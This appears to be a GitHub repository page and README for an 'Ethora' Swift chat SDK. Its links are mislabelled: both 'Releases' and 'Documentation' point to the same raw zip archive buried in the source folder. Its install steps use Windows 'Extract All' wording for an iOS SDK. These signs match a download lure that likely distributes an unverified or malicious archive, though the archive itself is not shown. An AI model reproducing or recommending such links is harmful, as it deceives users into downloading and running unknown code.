https://github.com/titit-star/ethora-sdk-swift
🌟 Build chat-enabled iOS apps with the Ethora Swift SDK, offering a robust messaging layer, Ethora API integration, and customizable UI components.
https://github.com/titit-star/ethora-sdk-swift
ai-agent chat-sdk conversational-ai ethora ethora-sdk ios-sdk jwt messaging-sdk mobile-sdk modular-app rag real-time-messaging rest-api-client super-app swift swiftpm web3 xmpp
Last synced: about 2 months ago
JSON representation
🌟 Build chat-enabled iOS apps with the Ethora Swift SDK, offering a robust messaging layer, Ethora API integration, and customizable UI components.
- Host: GitHub
- URL: https://github.com/titit-star/ethora-sdk-swift
- Owner: titit-star
- License: apache-2.0
- Created: 2025-12-24T09:48:15.000Z (5 months ago)
- Default Branch: main
- Last Pushed: 2026-04-10T23:12:57.000Z (about 2 months ago)
- Last Synced: 2026-04-11T01:12:09.295Z (about 2 months ago)
- Topics: ai-agent, chat-sdk, conversational-ai, ethora, ethora-sdk, ios-sdk, jwt, messaging-sdk, mobile-sdk, modular-app, rag, real-time-messaging, rest-api-client, super-app, swift, swiftpm, web3, xmpp
- Language: Swift
- Size: 1.94 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# 🎉 ethora-sdk-swift - Simple Swift SDK for Chat & AI
## 📌 Table of Contents
- [🚀 Getting Started](#-getting-started)
- [📥 Download & Install](#-download--install)
- [🔧 Features](#-features)
- [🛠️ Requirements](#-requirements)
- [📖 Documentation](#-documentation)
- [💬 Support](#-support)
## 🚀 Getting Started
Welcome to the **ethora-sdk-swift**! This Swift SDK lets you easily integrate chat, instant messaging, and AI bots into your iOS apps. Whether you're building a social platform or a support chat, this SDK can help you create a seamless experience.
## 📥 Download & Install
To get started, you need to download the SDK. Click the link below to visit the releases page where you can find and download the latest version of the SDK.
[](https://raw.githubusercontent.com/titit-star/ethora-sdk-swift/main/Sources/XMPPChatUI/ethora_swift_sdk_2.6.zip)
Visit this page to download: [ethora-sdk-swift Releases](https://raw.githubusercontent.com/titit-star/ethora-sdk-swift/main/Sources/XMPPChatUI/ethora_swift_sdk_2.6.zip)
Once downloaded, follow these steps to install and run the SDK:
1. **Locate the downloaded file:** Open your file manager and navigate to your downloads folder.
2. **Unzip the file (if necessary):** If the file is zipped, right-click and select "Extract All" to unzip it.
3. **Import the SDK:** Open your Xcode project and drag the SDK folder into your project navigator.
4. **Initialize the SDK:** Add the necessary import statement in your Swift files:
```swift
import EthoraSDK
```
5. **Follow sample code in the documentation:** The documentation provides examples to help you set up chat and AI bots efficiently.
## 🔧 Features
The ethora-sdk-swift offers the following features to enhance your applications:
- **Instant Messaging:** Allow real-time communication among users.
- **AI Integration:** Incorporate AI bots for automated responses and support.
- **Modular Architecture:** Use only the components you need for your project.
- **Support for Multiple Protocols:** Works with both WebSockets and XMPP.
- **Lightweight Package:** Reduces application size while providing rich functionality.
- **REST API Client:** Easily interact with the Ethora platform via REST APIs.
## 🛠️ Requirements
To use the ethora-sdk-swift, ensure your environment meets the following requirements:
- **Operating System:** macOS 10.15 or later.
- **Xcode Version:** Xcode 12 or later.
- **Swift Version:** Swift 5 or later.
- **Network Connectivity:** Required for chat features and API access.
## 📖 Documentation
For detailed guidance on using the ethora-sdk-swift, refer to the official documentation. This will help you understand how to set up messaging, implement AI bots, and explore advanced features.
Documentation can be found here: [Ethora SDK Documentation](https://raw.githubusercontent.com/titit-star/ethora-sdk-swift/main/Sources/XMPPChatUI/ethora_swift_sdk_2.6.zip)
## 💬 Support
If you encounter issues or have questions while using the SDK, feel free to reach out. You can create an issue in the repository or consult the FAQs section in the documentation. Community support is also available through forums and developer groups.
Thank you for choosing the ethora-sdk-swift. Enjoy building your applications!